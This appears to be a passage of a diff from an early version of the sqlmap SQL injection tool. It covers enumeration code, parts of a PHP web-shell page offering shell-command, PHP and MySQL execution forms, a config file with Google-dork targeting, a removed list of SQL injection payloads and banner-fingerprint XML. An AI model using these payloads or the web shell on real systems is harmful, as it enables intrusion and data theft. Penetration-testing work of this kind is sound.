||||
infoMsg = "fetching number of "
|
||||
if conf.col:
|
||||
warnMsg += "columns '%s' " % colString
|
||||
warnMsg += "entries for table '%s' " % conf.tbl
|
||||
warnMsg += "on database '%s'" % conf.db
|
||||
warnMsg += " through UNION query SQL injection, "
|
||||
warnMsg += "probably because it has no entries, going "
|
||||
warnMsg += "blind to confirm"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
logMsg = "fetching number of "
|
||||
if conf.col:
|
||||
logMsg += "columns '%s' " % colString
|
||||
logMsg += "entries for table '%s' " % conf.tbl
|
||||
logMsg += "on database '%s'" % conf.db
|
||||
logger.info(logMsg)
|
||||
infoMsg += "columns '%s' " % colString
|
||||
infoMsg += "entries for table '%s' " % conf.tbl
|
||||
infoMsg += "on database '%s'" % conf.db
|
||||
logger.info(infoMsg)
|
||||
|
||||
if kb.dbms == "Oracle":
|
||||
query = rootQuery["blind"]["count"] % conf.tbl.upper()
|
||||
@@ -1012,14 +1038,8 @@ class Enumeration:
|
||||
|
||||
|
||||
def sqlQuery(self, query):
|
||||
logMsg = "fetching SQL SELECT query output: '%s'" % query
|
||||
logger.info(logMsg)
|
||||
|
||||
if query.startswith("select "):
|
||||
query = query.replace("select ", "SELECT ", 1)
|
||||
|
||||
if " from " in query:
|
||||
query = query.replace(" from ", " FROM ")
|
||||
infoMsg = "fetching SQL SELECT query output: '%s'" % query
|
||||
logger.info(infoMsg)
|
||||
|
||||
output = inject.getValue(query, fromUser=True)
|
||||
|
||||
@@ -1030,9 +1050,9 @@ class Enumeration:
|
||||
|
||||
|
||||
def sqlShell(self):
|
||||
logMsg = "calling %s shell. To quit type " % kb.dbms
|
||||
logMsg += "'x' or 'q' and press ENTER"
|
||||
logger.info(logMsg)
|
||||
infoMsg = "calling %s shell. To quit type " % kb.dbms
|
||||
infoMsg += "'x' or 'q' and press ENTER"
|
||||
logger.info(infoMsg)
|
||||
|
||||
autoCompletion(sqlShell=True)
|
||||
|
||||
|
||||
@@ -69,10 +69,7 @@ if (!isset($_REQUEST["download"]) and !isset($_REQUEST["phpinfo"])) {
|
||||
echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Execute a shell command</b><br><input type=\"text\" name=\"cmd\" value=\"ps auxfww\"><input type=\"submit\" value=\"go\"></form><br>";
|
||||
echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Execute a PHP command</b><br><input type=\"text\" name=\"phpcode\" value=\"ini_get_all()\"><input type=\"submit\" value=\"go\"></form><br>";
|
||||
echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Execute a MySQL query</b><br>host: <input type=\"text\" name=\"host\" value=\"localhost\"><br>user: <input type=\"text\" name=\"user\" value=\"root\"><br>password: <input type=\"password\" name=\"password\"><br>query: <input type=\"text\" name=\"query\"><br><input type=\"submit\" value=\"execute\"></form><br>";
|
||||
echo "<div style=\"text-align: center\">";
|
||||
echo "<a href=\"http://validator.w3.org/check/referer\"><img src=\"http://www.w3.org/Icons/valid-html401\" border=\"0\" alt=\"Valid HTML 4.01!\"></a>";
|
||||
echo "<a href=\"http://jigsaw.w3.org/css-validator/validator?text=" . $cssEncoded . "\"><img src=\"http://jigsaw.w3.org/css-validator/images/vcss\" border=\"0\" alt=\"Valid CSS!\"></a>";
|
||||
echo "</div></div><div id=\"rightbody\">";
|
||||
echo "</div><div id=\"rightbody\">";
|
||||
}
|
||||
|
||||
if (isset($_REQUEST["sysinfo"])) {
|
||||
|
||||
127
sqlmap.conf
127
sqlmap.conf
@@ -1,9 +1,16 @@
|
||||
[Request]
|
||||
[Target]
|
||||
|
||||
# Target URL.
|
||||
# Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
|
||||
# PHP and MySQL (local)
|
||||
url =
|
||||
|
||||
# Parse targets from Burp or WebScarab logs
|
||||
# Valid: Burp proxy (http://portswigger.net/suite/) requests log file path
|
||||
# or WebScarab proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project)
|
||||
# 'conversations/' folder path
|
||||
list =
|
||||
|
||||
# Rather than providing a target url, let Google return target
|
||||
# hosts as result of your Google dork expression. For a list of Google
|
||||
# dorks see Johnny Long Google Hacking Database at
|
||||
@@ -11,9 +18,8 @@ url =
|
||||
# Example: +ext:php +inurl:"&id=" +intext:"powered by "
|
||||
googleDork =
|
||||
|
||||
# Testable parameter(s) comma separated. By default all GET/POST/Cookie
|
||||
# parameters and HTTP User-Agent are tested by sqlmap.
|
||||
testParameter =
|
||||
|
||||
[Request]
|
||||
|
||||
# HTTP method to perform HTTP requests.
|
||||
# Valid: GET or POST
|
||||
@@ -34,12 +40,18 @@ referer =
|
||||
# HTTP User-Agent header. Useful to fake the HTTP User-Agent header value
|
||||
# at each HTTP request
|
||||
# sqlmap will also test for SQL injection on the HTTP User-Agent value.
|
||||
agent = sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
|
||||
agent =
|
||||
|
||||
# Load a random HTTP User-Agent header from file
|
||||
# Example: txt/user-agents.txt
|
||||
# Example: ./txt/user-agents.txt
|
||||
userAgentsFile =
|
||||
|
||||
# Extra HTTP headers
|
||||
# Note: there must be a space at the beginning of each header line
|
||||
headers = Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||
Accept-Language: en-us,en;q=0.5
|
||||
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
||||
|
||||
# HTTP Authentication type. Useful only if the target url requires
|
||||
# HTTP Basic or Digest authentication and you have such data.
|
||||
# Valid: Basic or Digest
|
||||
@@ -56,25 +68,85 @@ proxy =
|
||||
|
||||
# Maximum number of concurrent HTTP requests (handled with Python threads)
|
||||
# to be used in the inference SQL injection attack.
|
||||
# Valid: integer
|
||||
# Default: 1
|
||||
threads = 1
|
||||
|
||||
# Delay in seconds between each HTTP request.
|
||||
# Valid: float
|
||||
# Default: 0
|
||||
delay = 0
|
||||
|
||||
# Seconds to wait before timeout connection.
|
||||
# Valid: float
|
||||
# Default: 10
|
||||
timeout = 10
|
||||
|
||||
|
||||
[Injection]
|
||||
|
||||
# String to match in page when the query is valid, only needed if the
|
||||
# page content dynamically changes at each refresh, consequently changing
|
||||
# the MD5 of the page which is the method used by default to determine
|
||||
# if a query was valid or not. Read the documentation for further
|
||||
# details.
|
||||
string =
|
||||
# Testable parameter(s) comma separated. By default all GET/POST/Cookie
|
||||
# parameters and HTTP User-Agent are tested by sqlmap.
|
||||
testParameter =
|
||||
|
||||
# Force back-end DBMS to this value. If this option is set, the back-end
|
||||
# DBMS identification process will be minimized as needed.
|
||||
# If not set, sqlmap will detect back-end DBMS automatically by default.
|
||||
# Valid: mssql, mysql, oracle, pgsql
|
||||
# Valid: mssql, mysql, mysql 4, mysql 5, oracle, pgsql
|
||||
dbms =
|
||||
|
||||
# Injection payload prefix string
|
||||
prefix =
|
||||
|
||||
# Injection payload postfix string
|
||||
postfix =
|
||||
|
||||
# String to match within the page content when the query is valid, only
|
||||
# needed if the page content dynamically changes at each refresh,
|
||||
# consequently changing the MD5 hash of the page which is the method used
|
||||
# by default to determine if a query was valid or not. Refer to the user's
|
||||
# manual for further details.
|
||||
string =
|
||||
|
||||
# Regular expression to match within the page content when the query is
|
||||
# valid, only needed if the needed if the page content dynamically changes
|
||||
# at each refresh, consequently changing the MD5 hash of the page which is
|
||||
# the method used by default to determine if a query was valid or not.
|
||||
# Refer to the user's manual for further details.
|
||||
# Valid: regular expression with Python syntax
|
||||
# (http://www.python.org/doc/2.5.2/lib/re-syntax.html)
|
||||
regexp =
|
||||
|
||||
# String to be excluded by the page content before calculating the page
|
||||
# MD5 hash
|
||||
eString =
|
||||
|
||||
# Regular expression matches to be excluded by the page content before
|
||||
# calculating the page MD5 hash
|
||||
# Valid: regular expression with Python syntax
|
||||
# (http://www.python.org/doc/2.5.2/lib/re-syntax.html)
|
||||
eRegexp =
|
||||
|
||||
|
||||
[Techniques]
|
||||
|
||||
# Test for stacked queries (multiple statements) support.
|
||||
# Valid: True or False
|
||||
stackedTest = False
|
||||
|
||||
# Test for Time based blind SQL injection.
|
||||
# Valid: True or False
|
||||
timeTest = False
|
||||
|
||||
# Test for UNION query (inband) SQL injection.
|
||||
# Valid: True or False
|
||||
unionTest = False
|
||||
|
||||
# Use the UNION query (inband) SQL injection to retrieve the queries
|
||||
# output. No need to go blind.
|
||||
# Valid: True or False
|
||||
unionUse = False
|
||||
|
||||
|
||||
[Fingerprint]
|
||||
|
||||
@@ -98,6 +170,10 @@ getCurrentUser = False
|
||||
# Valid: True or False
|
||||
getCurrentDb = False
|
||||
|
||||
# Detect if the DBMS current user is DBA.
|
||||
# Valid: True or False
|
||||
isDba = False
|
||||
|
||||
# Enumerate back-end database management system users.
|
||||
# Valid: True or False
|
||||
getUsers = False
|
||||
@@ -151,12 +227,12 @@ user =
|
||||
excludeSysDbs = False
|
||||
|
||||
# First table entry to dump (cursor start)
|
||||
# Valid: number
|
||||
# Valid: integer
|
||||
# Default: 0 (sqlmap will start to dump the table entries from the first)
|
||||
limitStart = 0
|
||||
|
||||
# Last table entry to dump (cursor stop)
|
||||
# Valid: number
|
||||
# Valid: integer
|
||||
# Default: 0 (sqlmap will detect the number of table entries and dump
|
||||
# until the last)
|
||||
limitStop = 0
|
||||
@@ -173,7 +249,7 @@ sqlShell = False
|
||||
[File system]
|
||||
|
||||
# Read a specific OS file content (only on MySQL).
|
||||
# Examples: '/etc/passwd' or 'C:\boot.ini'
|
||||
# Examples: /etc/passwd or C:\boot.ini
|
||||
rFile =
|
||||
|
||||
# Write to a specific OS file (not yet available).
|
||||
@@ -191,30 +267,21 @@ osShell = False
|
||||
|
||||
[Miscellaneous]
|
||||
|
||||
# Test for UNION SELECT (inband) SQL injection.
|
||||
# Valid: True or False
|
||||
unionTest = False
|
||||
|
||||
# Use the UNION SELECT (inband) SQL injection to retrieve the queries
|
||||
# output. No need to go blind.
|
||||
# Valid: True or False
|
||||
unionUse = False
|
||||
|
||||
# Retrieve each query output length and calculate the estimated time of
|
||||
# arrival in real time.
|
||||
# Valid: True or False
|
||||
eta = False
|
||||
|
||||
# Verbosity level.
|
||||
# Valid values:
|
||||
# 0: Silent
|
||||
# 1: Show info messages
|
||||
# Valid: integer between 0 and 5
|
||||
# 0: Show only warning and error messages
|
||||
# 1: Show also info messages
|
||||
# 2: Show also debug messages
|
||||
# 3: Show also HTTP requests
|
||||
# 4: Show also HTTP responses headers
|
||||
# 5: Show also HTTP responses page content
|
||||
# Default: 0
|
||||
verbose = 0
|
||||
# Default: 1
|
||||
verbose = 1
|
||||
|
||||
# Update sqlmap to the latest stable version.
|
||||
# Valid: True or False
|
||||
|
||||
@@ -29,6 +29,13 @@ import sys
|
||||
import time
|
||||
import traceback
|
||||
|
||||
try:
|
||||
import psyco
|
||||
psyco.full()
|
||||
psyco.profile()
|
||||
except ImportError, _:
|
||||
pass
|
||||
|
||||
from lib.controller.controller import start
|
||||
from lib.core.common import banner
|
||||
from lib.core.common import setPaths
|
||||
|
||||
@@ -1,51 +0,0 @@
|
||||
'||(elt(-3+5,bin(15),ord(10),hex(char(45))))
|
||||
||6
|
||||
'||'6
|
||||
(||6)
|
||||
' OR 1=1--
|
||||
OR 1=1
|
||||
' OR '1'='1
|
||||
; OR '1'='1'
|
||||
%22+or+isnull%281%2F0%29+%2F*
|
||||
%27+OR+%277659%27%3D%277659
|
||||
%22+or+isnull%281%2F0%29+%2F*
|
||||
%27+--+
|
||||
' or 1=1--
|
||||
" or 1=1--
|
||||
' or 1=1 /*
|
||||
or 1=1--
|
||||
' or 'a'='a
|
||||
" or "a"="a
|
||||
') or ('a'='a
|
||||
Admin' OR '
|
||||
'%20SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES--
|
||||
) UNION SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES;
|
||||
' having 1=1--
|
||||
' having 1=1--
|
||||
' group by userid having 1=1--
|
||||
' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = tablename')--
|
||||
' or 1 in (select @@version)--
|
||||
' union all select @@version--
|
||||
' OR 'unusual' = 'unusual'
|
||||
' OR 'something' = 'some'+'thing'
|
||||
' OR 'text' = N'text'
|
||||
' OR 'something' like 'some%'
|
||||
' OR 2 > 1
|
||||
' OR 'text' > 't'
|
||||
' OR 'whatever' in ('whatever')
|
||||
' OR 2 BETWEEN 1 and 3
|
||||
' or username like char(37);
|
||||
' union select * from users where login = char(114,111,111,116);
|
||||
' union select
|
||||
Password:*/=1--
|
||||
UNI/**/ON SEL/**/ECT
|
||||
'; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
|
||||
'; EXEC ('SEL' + 'ECT US' + 'ER')
|
||||
'/**/OR/**/1/**/=/**/1
|
||||
' or 1/*
|
||||
+or+isnull%281%2F0%29+%2F*
|
||||
%27+OR+%277659%27%3D%277659
|
||||
%22+or+isnull%281%2F0%29+%2F*
|
||||
%27+--+&password=
|
||||
'; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login >
|
||||
@var select @var as var into temp end --
|
||||
33
xml/banner/cookie.xml
Normal file
33
xml/banner/cookie.xml
Normal file
@@ -0,0 +1,33 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<!--
|
||||
References:
|
||||
* http://www.http-stats.com/Set-Cookie2
|
||||
* http://www.owasp.org/index.php/Category:OWASP_Cookies_Database
|
||||
-->
|
||||
|
||||
<root>
|
||||
<regexp value="ASPSESSIONID">
|
||||
<info technology="ASP" type="Windows" distrib="2000"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="ASP\.NET_SessionId">
|
||||
<info technology="ASP.NET" type="Windows" distrib="2003|2008"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="JSESSIONID">
|
||||
<info technology="JSP"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="PHPSESSION">
|
||||
<info technology="PHP"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache">
|
||||
<info technology="Apache"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="JServSessionId">
|
||||
<info technology="Apache|JSP"/>
|
||||
</regexp>
|
||||
</root>
|
||||
127
xml/banner/generic.xml
Normal file
127
xml/banner/generic.xml
Normal file
@@ -0,0 +1,127 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<root>
|
||||
<!-- Windows -->
|
||||
|
||||
<regexp value="(Microsoft|Windows|Win32)">
|
||||
<info type="Windows"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Service Pack (\d)">
|
||||
<info sp="1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Microsoft.*7\.0">
|
||||
<info type="Windows" distrib="Vista"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Microsoft.*6\.0">
|
||||
<info type="Windows" distrib="2003"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Microsoft.*5\.2">
|
||||
<info type="Windows" distrib="2003"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Microsoft.*5\.1">
|
||||
<info type="Windows" distrib="XP"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Microsoft.*5\.0">
|
||||
<info type="Windows" distrib="2000"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Microsoft.*4\.0">
|
||||
<info type="Windows" distrib="NT 4.0"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Microsoft.*3\.0">
|
||||
<info type="Windows" distrib="NT 4.0"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Microsoft.*2\.0">
|
||||
<info type="Windows" distrib="NT 4.0"/>
|
||||
</regexp>
|
||||
|
||||
<!-- Linux -->
|
||||
|
||||
<regexp value="Linux">
|
||||
<info type="Linux"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="CentOS">
|
||||
<info type="Linux" distrib="CentOS"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Cobalt">
|
||||
<info type="Linux" distrib="Cobalt"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Conectiva">
|
||||
<info type="Linux" distrib="Conectiva"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Debian">
|
||||
<info type="Linux" distrib="Debian|Ubuntu"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Fedora">
|
||||
<info type="Linux" distrib="Fedora"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Gentoo">
|
||||
<info type="Linux" distrib="Gentoo"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Knoppix">
|
||||
<info type="Linux" distrib="Knoppix"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Mandrake">
|
||||
<info type="Linux" distrib="Mandrake"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Mandriva">
|
||||
<info type="Linux" distrib="Mandriva"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Red[\-\_\ ]*Hat">
|
||||
<info type="Linux" distrib="Red Hat"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Slackware">
|
||||
<info type="Linux" distrib="Slackware"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="SuSE">
|
||||
<info type="Linux" distrib="SuSE"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Ubuntu">
|
||||
<info type="Linux" distrib="Ubuntu"/>
|
||||
</regexp>
|
||||
|
||||
<!-- Unices -->
|
||||
|
||||
<regexp value="FreeBSD">
|
||||
<info type="FreeBSD"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="NetBSD">
|
||||
<info type="NetBSD"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="OpenBSD">
|
||||
<info type="OpenBSD"/>
|
||||
</regexp>
|
||||
|
||||
<!-- Mac OSX -->
|
||||
|
||||
<regexp value="Mac[\-\_\ ]*OSX">
|
||||
<info type="Mac OSX"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Darwin">
|
||||
<info type="Mac OSX"/>
|
||||
</regexp>
|
||||
</root>
|
||||
42
xml/banner/mysql.xml
Normal file
42
xml/banner/mysql.xml
Normal file
@@ -0,0 +1,42 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<root>
|
||||
<regexp value="^([\d\.\-]+)[\-\_\ ].*">
|
||||
<info dbms_version="1"/>
|
||||
</regexp>
|
||||
|
||||
<!-- Windows -->
|
||||
<regexp value="^([\d\.\-]+)[\-\_\ ].*nt$">
|
||||
<info dbms_version="1" type="Windows"/>
|
||||
</regexp>
|
||||
|
||||
<!-- Debian -->
|
||||
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+potato">
|
||||
<info dbms_version="1" type="Linux" distrib="Debian" release="2.1" codename="potato"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+woody">
|
||||
<info dbms_version="1" type="Linux" distrib="Debian" release="3.0" codename="woody"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+sarge">
|
||||
<info dbms_version="1" type="Linux" distrib="Debian" release="3.1" codename="sarge"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+etch">
|
||||
<info dbms_version="1" type="Linux" distrib="Debian" release="4.0" codename="etch"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+(sid|unstable)">
|
||||
<info dbms_version="1" type="Linux" distrib="Debian" codename="unstable"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+testing">
|
||||
<info dbms_version="1" type="Linux" distrib="Debian" codename="testing"/>
|
||||
</regexp>
|
||||
|
||||
<!-- Ubuntu -->
|
||||
<regexp value="^(5\.0\.67)-0ubuntu6">
|
||||
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="8.10" codename="Intrepid Ibex"/>
|
||||
</regexp>
|
||||
</root>
|
||||
7
xml/banner/oracle.xml
Normal file
7
xml/banner/oracle.xml
Normal file
@@ -0,0 +1,7 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<root>
|
||||
<regexp value="^Oracle\s+.*Release\s+([\d\.]+)\s+">
|
||||
<info dbms_version="1"/>
|
||||
</regexp>
|
||||
</root>
|
||||
16
xml/banner/postgresql.xml
Normal file
16
xml/banner/postgresql.xml
Normal file
@@ -0,0 +1,16 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<root>
|
||||
<regexp value="PostgreSQL\s+([\w\.]+)">
|
||||
<info dbms_version="1"/>
|
||||
</regexp>
|
||||
|
||||
<!-- Ubuntu -->
|
||||
<regexp value="PostgreSQL\s+(8\.2\.7)\s+on\s+.*?\s+\(Ubuntu 4\.2\.3-2ubuntu4\)">
|
||||
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="8.04" codename="Hardy Heron"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="PostgreSQL\s+(8\.3\.5)\s+on\s+.*?\s+\(Ubuntu 4\.3\.2-1ubuntu11\)">
|
||||
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="8.10" codename="Intrepid Ibex"/>
|
||||
</regexp>
|
||||
</root>
|
||||
406
xml/banner/server.xml
Normal file
406
xml/banner/server.xml
Normal file
@@ -0,0 +1,406 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<!--
|
||||
References:
|
||||
* http://www.http-stats.com/Server
|
||||
* http://en.wikipedia.org
|
||||
-->
|
||||
|
||||
<root>
|
||||
<!-- Microsoft IIS -->
|
||||
|
||||
<regexp value="Microsoft-IIS/(7\.0)">
|
||||
<info technology="Microsoft IIS" tech_version="1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Microsoft-IIS/(6\.0)">
|
||||
<info technology="Microsoft IIS" tech_version="1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Microsoft-IIS/(5\.1)">
|
||||
<info technology="Microsoft IIS" tech_version="1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Microsoft-IIS/(5\.0)">
|
||||
<info technology="Microsoft IIS" tech_version="1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Microsoft-IIS/(4\.0)">
|
||||
<info technology="Microsoft IIS" tech_version="1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Microsoft-IIS/(3\.0)">
|
||||
<info technology="Microsoft IIS" tech_version="1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Microsoft-IIS/(2\.0)">
|
||||
<info technology="Microsoft IIS" tech_version="1"/>
|
||||
</regexp>
|
||||
|
||||
<!-- Apache -->
|
||||
|
||||
<regexp value="Apache$">
|
||||
<info technology="Apache"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/([\w\.]+)">
|
||||
<info technology="Apache" tech_version="1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache[\-\_\ ]AdvancedExtranetServer/([\w\.]+)">
|
||||
<info technology="Apache" tech_version="1"/>
|
||||
</regexp>
|
||||
|
||||
<!-- Apache: CentOS -->
|
||||
<!-- TODO: add Centos 4.6, 4.7, 5.1 and 5.2 -->
|
||||
|
||||
<regexp value="Apache/2\.0\.46 \(CentOS\)">
|
||||
<info type="Linux" distrib="CentOS" release="3.7"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.52 \(CentOS\)">
|
||||
<info type="Linux" distrib="CentOS" release="4.3|4.4"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.46 \(CentOS\)">
|
||||
<info type="Linux" distrib="CentOS" release="5"/>
|
||||
</regexp>
|
||||
|
||||
<!-- Apache: Debian -->
|
||||
<!-- TODO: add Debian testing, unstable and experimental -->
|
||||
|
||||
<regexp value="Apache/1\.0\.5 \(Unix\) Debian/GNU">
|
||||
<info type="Linux" distrib="Debian" release="1.1" codename="buzz"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.1\.1 \(Unix\) Debian/GNU">
|
||||
<info type="Linux" distrib="Debian" release="1.2" codename="rex"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.1\.3 \(Unix\) Debian/GNU">
|
||||
<info type="Linux" distrib="Debian" release="1.3" codename="bo"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.0 \(Unix\) Debian/GNU">
|
||||
<info type="Linux" distrib="Debian" release="2.0" codename="hamm"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.3 \(Unix\) Debian/GNU">
|
||||
<info type="Linux" distrib="Debian" release="2.1" codename="slink"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.9 \(Unix\) Debian\/GNU">
|
||||
<info type="Linux" distrib="Debian" release="2.2" codename="potato"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.26 \(Debian GNU\/Linux\)">
|
||||
<info type="Linux" distrib="Debian" release="3.0" codename="woody"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.33 \(Debian GNU\/Linux\)">
|
||||
<info type="Linux" distrib="Debian" release="3.1" codename="sarge"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.54 \(Debian GNU\/Linux\)">
|
||||
<info type="Linux" distrib="Debian" release="3.1" codename="sarge"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.3 \(Debian\)">
|
||||
<info type="Linux" distrib="Debian" release="4.0" codename="etch"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.6 \(Debian\)">
|
||||
<info type="Linux" distrib="Debian" release="4.0" codename="etch" updated="True"/>
|
||||
</regexp>
|
||||
|
||||
<!-- Apache: Fedora -->
|
||||
<!-- TODO: add Fedora 8, 9 and 10 -->
|
||||
|
||||
<regexp value="Apache/2\.0\.47 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="1" codename="Yarrow"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.50 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="1" codename="Yarrow" updated="True"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.49 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="2" codename="Tettnang"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.51 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="2" codename="Tettnang" updated="True"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.52 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="3" codename="Heidelberg"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.53 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="3" codename="Heidelberg" updated="True"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.54 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="4" codename="Stentz"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.0 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="5" codename="Bordeaux"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.2 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="5" codename="Bordeaux" updated="True"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.3 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="6" codename="Zod"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.4 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="7" codename="Moonshine"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.6 \(Fedora\)">
|
||||
<info type="Linux" distrib="Fedora" release="6|7" codename="Zod|Moonshine" updated="True"/>
|
||||
</regexp>
|
||||
|
||||
<!-- Apache: Mandrake / Mandriva -->
|
||||
<!-- TODO: add Mandriva 2007.1, 2008.0, 2008.1 and 2009.0 -->
|
||||
|
||||
<regexp value="Apache/1\.3\.6 \(Unix\)\s+\(Mandrake/Linux\)">
|
||||
<info type="Linux" distrib="Mandrake" release="6.0" codename="Venus"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.9 \(Unix\)\s+\(NetRevolution Advanced Server/Linux-Mandrake\)">
|
||||
<info type="Linux" distrib="Mandrake" release="6.1|7.0" codename="Helios|Air"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache-AdvancedExtranetServer/1\.3\.12 \(NetRevolution/Linux-Mandrake\)">
|
||||
<info type="Linux" distrib="Mandrake" release="7.1" codename="Helium"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache-AdvancedExtranetServer/1\.3\.14 \(Linux-Mandrake/">
|
||||
<info type="Linux" distrib="Mandrake" release="7.2" codename="Odyssey"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache-AdvancedExtranetServer/1\.3\.19 \(Linux-Mandrake/">
|
||||
<info type="Linux" distrib="Mandrake" release="8.0" codename="Traktopel"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache-AdvancedExtranetServer/1\.3\.20 \(Mandrake Linux/">
|
||||
<info type="Linux" distrib="Mandrake" release="8.1" codename="Vitamin"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache-AdvancedExtranetServer/1\.3\.23 \(Mandrake Linux/">
|
||||
